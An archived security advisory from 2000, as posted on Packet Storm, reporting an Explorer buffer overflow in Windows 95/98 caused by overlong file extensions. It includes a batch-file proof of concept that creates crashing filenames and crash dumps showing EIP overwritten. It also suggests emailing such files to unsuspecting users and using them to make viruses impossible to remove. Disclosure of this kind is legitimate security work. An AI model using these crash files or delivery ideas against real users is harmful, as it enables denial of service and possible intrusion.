exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

scx-sa-02.txt

scx-sa-02.txt
Posted Apr 21, 2000
Authored by Zoa_Chien

Securax Security Advisory #2 - When the Microsoft Windows explorer tries to access parsing a filename that contains over 129 chars in the extension, a buffer will overflow, causing explorer to crash. EIP is overwritten, remote code execution is possible.

tags | exploit, remote, overflow, code execution
systems | windows
SHA-256 | ca0475e472c074311283c6e68eb2f2b3788eee8f4ebe7e4d9c81e5bfada79c23

scx-sa-02.txt

Change Mirror Download
=====================================================================
Securax-SA-02 Security Advisory
belgian.networking.security Dutch
=====================================================================
Topic: Ms Windows '95?/'98/SE explorer.exe causes a buffer
overflow with long filename extensions.

Announced: 2000-04-21
Affects: Ms Windows'95?, Ms Windows '98, Ms Windows '98 SE,
windows millenium?.
None affected: Ms Windows NT Server/Workstation 4.0, Ms win2K
=====================================================================


THE ENTIRE ADVISORY HAS BEEN BASED UPON TRIAL AND ERROR
RESULTS. THEREFORE WE CANNOT ENSURE YOU THE INFORMATION BELOW IS
100% CORRECT. THIS DOCUMENT IS SUBJECT TO CHANGE WITHOUT PRIOR
NOTICE.

PLEASE, IF YOU HAPPEN TO FIND MORE INFORMATION CONCERNING
THE BUG DISCUSSED IN THIS ADVISORY, PLEASE SHARE THIS ON BUQTRAQ.
THANK YOU,

I. Background

I don't know what causes explorer to crash.
I suspect it be a buffer overflow in explorer.exe but in some cases
i noticed other programs (that do not use explorer.exe)to crash
too.
I don't have the time right now to start debugging, maybe i'll do so
next week. (if i find something usefull, i'll post an update)

II. Problem Description

When the Microsoft Windows explorer tries to access parsing a
filename that contains >129 chars in the extension, a buffer
will overflow

And you will get this error:

EXPLORER caused an invalid page fault in
module <unknown> at 0000:61616161.
Registers:
EAX=61616161 CS=0187 EIP=61616161 EFLGS=00010246
EBX=80070032 SS=018f ESP=01a1d8fc EBP=61616161
ECX=c16b6f10 DS=018f ESI=01d0bd3c FS=5047
EDX=81724974 ES=018f EDI=7fcbd320 GS=0000
Bytes at CS:EIP:

Stack dump:
61616161 61616161 61616161 61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161 61616161 61616161 61616161
61616161 61616161

As you can notice, the EIP was overwritten during this overflow,
this means we can execute code from in the filename.

We can use 247 + 129 + 118 bytes to store data for some shell
code.

If you add some extra special characters to the file, you can cause
it to be recognized as write only in windows (and not found in dos)
That way, you will not be able to remove it unless you write
direct to the fat.
This would make viruses invincible for AV-tools.

III. Reproduction of the problem

a) creating such a file:

place the following code in a .bat file:

---- cut here

echo This will create a file that when clicked upon in windows
echo explorer or any other program that calls explorer.exe for
echo file management will cause a buffer overflow.

dir *.* > _ . ------Buffer overflow-----------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

echo This will cause a Blue screen of death
echo Just to show you it is possible to execute remote code.
echo (all it does is overwrite the return adress with a false one.)

dir *.* > _ . ------Blue-screen-of-death------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa12345678AAAAAAAAAA

--- cut here

now run the .bat file


b) using this bug on remote computers:


Tested on Eudora Pro:
You could attach the file to an e-mail and send this e-mail to
an unsuspected computer user. When he checks his e-mail an the
mail program attempts to save the attachement to disk, the
program will crash cause due to a buffer overflow.

EUDORA caused an invalid page fault in
module EUDORA.EXE at 0187:00428b05.
Registers:
EAX=007f0394 CS=0187 EIP=00428b05 EFLGS=00010206
EBX=00000000 SS=018f ESP=007eff88 EBP=007f0764
ECX=006a305c DS=018f ESI=007f07a8 FS=582f
EDX=007eff8c ES=018f EDI=8173b024 GS=0000
Bytes at CS:EIP:
56 50 51 52 ff 15 50 9f 63 00 8b 15 80 2c 6b 00
Stack dump:

Funny note: every time you try to access the dir where the
attachement should have been saved, your program will crash,
even if this program is not using explorer for it's file
management. (In this case you don't even have to click on the
file or move over it and wait some time, it will crash
immediately, rendering the entire directory useless.

This is what i got in Windows Commander while trying to browse the
directory. Note: the file doesn't show up in a listing, neverthe
less, windows commander crashes with :

Application Error
Exception EAccessViolation in module WINCMD32.EXE at 7F8B0736
Access violation at address 7FCB1946. Read of address 00580939

Scanning this dir with scandisk does not report any problems.

c) uploading a file with this name to an FTP server, or place it
some HTTP server available for download.

d) DCC Sends on IRC.

e) many more ?

III. Impact

This type of attack will allow any user local or remote with
file creation access to run hostile code on the computer.
(Since e-mail programs will attempt to write to disk, almost
any windows98 user with an e-mail adress is vulnerable.)

If someone writes some tiny code that will download and execute
a remote trojan, this could cause a huge problem!.
This could be used to gain root access to all windows computers
Just imagine what harm someone could cause if he sends out an
e-mail to 10.000 persons containing code to DDoS some server ?

Writing such a code might be tricky, coz we are handling with a
filename, and not all hex codes are accepted as a legal filename.
(this could be partially circumvented by creating the filename
with a raw write to disk.)

please note that due to my exams, i don't have the time to write
the shell code... everything stated about the executing of code
is purely hypothetical.

IV. Solution

none yet.
just don't download extremely long filenames.

V. Credits

Initial bug report : |ncubus -*- overflow detection + usage concepts
+ quickly written advisory by Zoa_Chien -*- Exploit shell-code : you?
-*- Thnx to Lamagra for testing this on NT. -*- bug by microsoft.


Final Notes: I discovered this while working on my soon to be released
tutorial: "Locally Hacking MS-Windows" if anyone has rare information
on this subject, feel free to mail me.
If any1 has a great job to offer, plies mail, i'm sick and tired of
studying stupid things.. mmm.. that reminds me, i'd better start
studing for my exam tomorrow morningÓ+W|~+æ|þ+éƒCARRIER LOST :-)

Yours,

Zoa_Chien, aka da G#df@rter. zoachien@securax.org

=====================================================================
For more information advisory@securax.org
Website http://www.securax.org
Advisories/Text http://www.securax.org/pers
---------------------------------------------------------------------
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close